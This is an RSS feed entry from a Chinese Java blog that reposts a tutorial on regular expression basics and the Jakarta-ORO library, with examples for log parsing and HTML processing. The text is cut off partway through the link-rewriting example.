﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-Junky's IT Notebook</title><link>http://www.blogjava.net/junky/</link><description /><language>zh-cn</language><lastBuildDate>Tue, 28 Apr 2026 14:35:12 GMT</lastBuildDate><pubDate>Tue, 28 Apr 2026 14:35:12 GMT</pubDate><ttl>60</ttl><item><title>Java正则表达式详解</title><link>http://www.blogjava.net/junky/archive/2008/03/05/184018.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Wed, 05 Mar 2008 07:52:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2008/03/05/184018.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/184018.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2008/03/05/184018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/184018.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/184018.html</trackback:ping><description><![CDATA[如果你曾经用过Perl或任何其他内建正则表达式支持的语言，你一定知道用正则表达式处理文本和匹配模式是多么简单。如果你不熟悉这个术语，那么&#8220;正则表达式&#8221;（Regular Expression）就是一个字符构成的串，它定义了一个用来搜索匹配字符串的模式。
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">许多语言，包括Perl、PHP、Python、JavaScript和JScript，都支持用正则表达式处理文本，一些文本编辑器用正则表达式实现高 级&#8220;搜索-替换&#8221;功能。那么Java又怎样呢？本文写作时，一个包含了用正则表达式进行文本处理的Java规范需求（Specification Request）已经得到认可，你可以期待在JDK的下一版本中看到它。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">然而，如果现在就需要使用正则表达式，又该怎么办呢？你可以从Apache.org下载源代码开放的Jakarta-ORO库。本文接下来的内容先简要地介绍正则表达式的入门知识，然后以Jakarta-ORO API为例介绍如何使用正则表达式。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong><font size="4">一、正则表达式基础知识</font></strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">我们先从简单的开始。假设你要搜索一个包含字符&#8220;cat&#8221;的字符串，搜索用的正则表达式就是&#8220;cat&#8221;。如果搜索对大小写不敏感，单词&#8220;catalog&#8221;、&#8220;Catherine&#8221;、&#8220;sophisticated&#8221;都可以匹配。也就是说：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_a.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>1.1 句点符号</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">假设你在玩英文拼字游戏，想要找出三个字母的单词，而且这些单词必须以&#8220;t&#8221;字母开头，以&#8220;n&#8221;字母结束。另外，假设有一本英文字典，你可以用正则表达式 搜索它的全部内容。要构造出这个正则表达式，你可以使用一个通配符——句点符号&#8220;.&#8221;。这样，完整的表达式就是&#8220;t.n&#8221;，它匹配&#8220;tan&#8221;、 &#8220;ten&#8221;、&#8220;tin&#8221;和&#8220;ton&#8221;，还匹配&#8220;t#n&#8221;、&#8220;tpn&#8221;甚至&#8220;t n&#8221;，还有其他许多无意义的组合。这是因为句点符号匹配所有字符，包括空格、Tab字符甚至换行符：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_b.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>1.2 方括号符号</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">为了解决句点符号匹配范围过于广泛这一问题，你可以在方括号（&#8220;[]&#8221;）里面指定看来有意义的字符。此时，只有方括号里面指定的字符才参与匹配。也就是 说，正则表达式&#8220;t[aeio]n&#8221;只匹配&#8220;tan&#8221;、&#8220;Ten&#8221;、&#8220;tin&#8221;和&#8220;ton&#8221;。但&#8220;Toon&#8221;不匹配，因为在方括号之内你只能匹配单个字 符：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_c.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>1.3 &#8220;或&#8221;符号</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">如果除了上面匹配的所有单词之外，你还想要匹配&#8220;toon&#8221;，那么，你可以使用&#8220;|&#8221;操作符。&#8220;|&#8221;操作符的基本意义就是&#8220;或&#8221;运算。要匹配 &#8220;toon&#8221;，使用&#8220;t(a|e|i|o|oo)n&#8221;正则表达式。这里不能使用方扩号，因为方括号只允许匹配单个字符；这里必须使用圆括号&#8220;()&#8221;。圆括 号还可以用来分组，具体请参见后面介绍。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_d.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>1.4 表示匹配次数的符号</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">表一显示了表示匹配次数的符号，这些符号用来确定紧靠该符号左边的符号出现的次数：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4n.jpg" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">假设我们要在文本文件中搜索美国的社会安全号码。这个号码的格式是999-99-9999。用来匹配它的正则表达式如图一所示。在正则表达式中，连字符 （&#8220;-&#8221;）有着特殊的意义，它表示一个范围，比如从0到9。因此，匹配社会安全号码中的连字符号时，它的前面要加上一个转义字符&#8220;\&#8221;。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4a.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图一：匹配所有123-12-1234形式的社会安全号码</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">假设进行搜索的时候，你希望连字符号可以出现，也可以不出现——即，999-99-9999和999999999都属于正确的格式。这时，你可以在连字符号后面加上&#8220;？&#8221;数量限定符号，如图二所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4b.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图二：匹配所有123-12-1234和123121234形式的社会安全号码</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">下面我们再来看另外一个例子。美国汽车牌照的一种格式是四个数字加上二个字母。它的正则表达式前面是数字部分&#8220;[0-9]{4}&#8221;，再加上字母部分&#8220;[A-Z]{2}&#8221;。图三显示了完整的正则表达式。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4c.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图三：匹配典型的美国汽车牌照号码，如8836KV</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">1.5 &#8220;否&#8221;符号</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#8220;^&#8221;符号称为&#8220;否&#8221;符号。如果用在方括号内，&#8220;^&#8221;表示不想要匹配的字符。例如，图四的正则表达式匹配所有单词，但以&#8220;X&#8221;字母开头的单词除外。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4d.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图四：匹配所有单词，但&#8220;X&#8221;开头的除外</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">1.6 圆括号和空白符号</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">假设要从格式为&#8220;June 26, 1951&#8221;的生日日期中提取出月份部分，用来匹配该日期的正则表达式可以如图五所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4e.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图五：匹配所有Moth DD,YYYY格式的日期</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">新出现的&#8220;\s&#8221;符号是空白符号，匹配所有的空白字符，包括Tab字符。如果字符串正确匹配，接下来如何提取出月份部分呢？只需在月份周围加上一个圆括号创建一个组，然后用ORO API（本文后面详细讨论）提取出它的值。修改后的正则表达式如图六所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4f.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图六：匹配所有Month DD,YYYY格式的日期，定义月份值为第一个组</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>1.7 其它符号</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">为简便起见，你可以使用一些为常见正则表达式创建的快捷符号。如表二所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">表二：常用符号</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4o.jpg" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">例如，在前面社会安全号码的例子中，所有出现&#8220;[0-9]&#8221;的地方我们都可以使用&#8220;\d&#8221;。修改后的正则表达式如图七所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4g.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图七：匹配所有123-12-1234格式的社会安全号码</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong><font size="4">二、Jakarta-ORO库</font></strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">有许多源代码开放的正则表达式库可供Java程序员使用，而且它们中的许多支持Perl 5兼容的正则表达式语法。我在这里选用的是Jakarta-ORO正则表达式库，它是最全面的正则表达式API之一，而且它与Perl 5正则表达式完全兼容。另外，它也是优化得最好的API之一。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">Jakarta-ORO库以前叫做OROMatcher，Daniel Savarese大方地把它赠送给了Jakarta Project。你可以按照本文最后参考资源的说明下载它。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">我首先将简要介绍使用Jakarta-ORO库时你必须创建和访问的对象，然后介绍如何使用Jakarta-ORO API。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>▲ PatternCompiler对象</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">首先，创建一个Perl5Compiler类的实例，并把它赋值给PatternCompiler接口对象。Perl5Compiler是PatternCompiler接口的一个实现，允许你把正则表达式编译成用来匹配的Pattern对象。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_e.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>▲ Pattern对象</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">要把正则表达式编译成Pattern对象，调用compiler对象的compile()方法，并在调用参数中指定正则表达式。例如，你可以按照下面这种方式编译正则表达式&#8220;t[aeio]n&#8221;：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_f.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">默认情况下，编译器创建一个大小写敏感的模式（pattern）。因此，上面代码编译得到的模式只匹配&#8220;tin&#8221;、&#8220;tan&#8221;、 &#8220;ten&#8221;和&#8220;ton&#8221;，但不匹配&#8220;Tin&#8221;和&#8220;taN&#8221;。要创建一个大小写不敏感的模式，你应该在调用编译器的时候指定一个额外的参数：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_g.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">创建好Pattern对象之后，你就可以通过PatternMatcher类用该Pattern对象进行模式匹配。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>▲ PatternMatcher对象</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">PatternMatcher对象根据Pattern对象和字符串进行匹配检查。你要实例化一个Perl5Matcher类并把结果赋值给 PatternMatcher接口。Perl5Matcher类是PatternMatcher接口的一个实现，它根据Perl 5正则表达式语法进行模式匹配：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_h.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">使用PatternMatcher对象，你可以用多个方法进行匹配操作，这些方法的第一个参数都是需要根据正则表达式进行匹配的字符串：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean matches(String input, Pattern pattern)：当输入字符串和正则表达式要精确匹配时使用。换句话说，正则表达式必须完整地描述输入字符串。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean matchesPrefix(String input, Pattern pattern)：当正则表达式匹配输入字符串起始部分时使用。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean contains(String input, Pattern pattern)：当正则表达式要匹配输入字符串的一部分时使用（即，它必须是一个子串）。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">另外，在上面三个方法调用中，你还可以用PatternMatcherInput对象作为参数替代String对象；这时，你可以从字符串中最后一次匹配 的位置开始继续进行匹配。当字符串可能有多个子串匹配给定的正则表达式时，用PatternMatcherInput对象作为参数就很有用了。用 PatternMatcherInput对象作为参数替代String时，上述三个方法的语法如下：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean matches(PatternMatcherInput input, Pattern pattern)</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean matchesPrefix(PatternMatcherInput input, Pattern pattern)</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">&#183; boolean contains(PatternMatcherInput input, Pattern pattern)</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong><font size="4">三、应用实例</font></strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">下面我们来看看Jakarta-ORO库的一些应用实例。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>3.1 日志文件处理</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">任务：分析一个Web服务器日志文件，确定每一个用户花在网站上的时间。在典型的BEA WebLogic日志文件中，日志记录的格式如下：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_i.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">分析这个日志记录，可以发现，要从这个日志文件提取的内容有两项：IP地址和页面访问时间。你可以用分组符号（圆括号）从日志记录提取出IP地址和时间标记。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">首先我们来看看IP地址。IP地址有4个字节构成，每一个字节的值在0到255之间，各个字节通过一个句点分隔。因此，IP地址中的每一个字节有至少一个、最多三个数字。图八显示了为IP地址编写的正则表达式：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4h.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图八：匹配IP地址</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">IP地址中的句点字符必须进行转义处理（前面加上&#8220;\&#8221;），因为IP地址中的句点具有它本来的含义，而不是采用正则表达式语法中的特殊含义。句点在正则表达式中的特殊含义本文前面已经介绍。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">日志记录的时间部分由一对方括号包围。你可以按照如下思路提取出方括号里面的所有内容：首先搜索起始方括号字符（&#8220;[&#8221;），提取出所有不超过结束方括号字符（&#8220;]&#8221;）的内容，向前寻找直至找到结束方括号字符。图九显示了这部分的正则表达式。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4i.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图九：匹配至少一个字符，直至找到&#8220;]&#8221;</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">现在，把上述两个正则表达式加上分组符号（圆括号）后合并成单个表达式，这样就可以从日志记录提取出IP地址和时间。注意，为了匹配&#8220;- -&#8221;（但不提取它），正则表达式中间加入了&#8220;\s-\s-\s&#8221;。完整的正则表达式如图十所示。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4j.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图十：匹配IP地址和时间标记</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">现在正则表达式已经编写完毕，接下来可以编写使用正则表达式库的Java代码了。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">为使用Jakarta-ORO库，首先创建正则表达式字符串和待分析的日志记录字符串：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_j.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">这里使用的正则表达式与图十的正则表达式差不多完全相同，但有一点例外：在Java中，你必须对每一个向前的斜杠（&#8220;\&#8221;）进行转义处理。图十不是 Java的表示形式，所以我们要在每个&#8220;\&#8221;前面加上一个&#8220;\&#8221;以免出现编译错误。遗憾的是，转义处理过程很容易出现错误，所以应该小心谨慎。你可以首先 输入未经转义处理的正则表达式，然后从左到右依次把每一个&#8220;\&#8221;替换成&#8220;\\&#8221;。如果要复检，你可以试着把它输出到屏幕上。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">初始化字符串之后，实例化PatternCompiler对象，用PatternCompiler编译正则表达式创建一个Pattern对象：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_k.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">现在，创建PatternMatcher对象，调用PatternMatcher接口的contain()方法检查匹配情况：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_l.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">接下来，利用PatternMatcher接口返回的MatchResult对象，输出匹配的组。由于logEntry字符串包含匹配的内容，你可以看到类如下面的输出：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_m.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>3.2 HTML处理实例一</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">下面一个任务是分析HTML页面内FONT标记的所有属性。HTML页面内典型的FONT标记如下所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><font face="Arial, Serif" color="red" size="+2"></font><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_n.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">程序将按照如下形式，输出每一个FONT标记的属性：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_o.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">在这种情况下，我建议你使用两个正则表达式。第一个如图十一所示，它从字体标记提取出&#8220;"face="Arial, Serif" size="+2" color="red"&#8221;。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4k.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图十一：匹配FONT标记的所有属性</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">第二个正则表达式如图十二所示，它把各个属性分割成名字-值对。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4l.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图十二：匹配单个属性，并把它分割成名字-值对</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">分割结果为：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_p.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">现在我们来看看完成这个任务的Java代码。首先创建两个正则表达式字符串，用Perl5Compiler把它们编译成Pattern对象。编译正则表达 式的时候，指定Perl5Compiler.CASE_INSENSITIVE_MASK选项，使得匹配操作不区分大小写。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">接下来，创建一个执行匹配操作的Perl5Matcher对象。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_q.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">假设有一个String类型的变量html，它代表了HTML文件中的一行内容。如果html字符串包含FONT标记，匹配器将返回true。此时，你可以用匹配器对象返回的MatchResult对象获得第一个组，它包含了FONT的所有属性：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_r.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">接下来创建一个PatternMatcherInput对象。这个对象允许你从最后一次匹配的位置开始继续进行匹配操作，因此，它很适合于提取FONT标 记内属性的名字-值对。创建PatternMatcherInput对象，以参数形式传入待匹配的字符串。然后，用匹配器实例提取出每一个FONT的属 性。这通过指定PatternMatcherInput对象（而不是字符串对象）为参数，反复地调用PatternMatcher对象的contains ()方法完成。PatternMatcherInput对象之中的每一次迭代将把它内部的指针向前移动，下一次检测将从前一次匹配位置的后面开始。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">本例的输出结果如下：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_s.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><strong>3.3 HTML处理实例二</strong></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">下面我们来看看另一个处理HTML的例子。这一次，我们假定Web服务器从widgets.acme.com移到了newserver.acme.com。现在你要修改一些页面中的链接：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_t.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">执行这个搜索的正则表达式如图十三所示：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4m.gif" border="0"  alt="" /></p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">
            <p align="center">图十三：匹配修改前的链接</p>
            </td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">如果能够匹配这个正则表达式，你可以用下面的内容替换图十三的链接：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
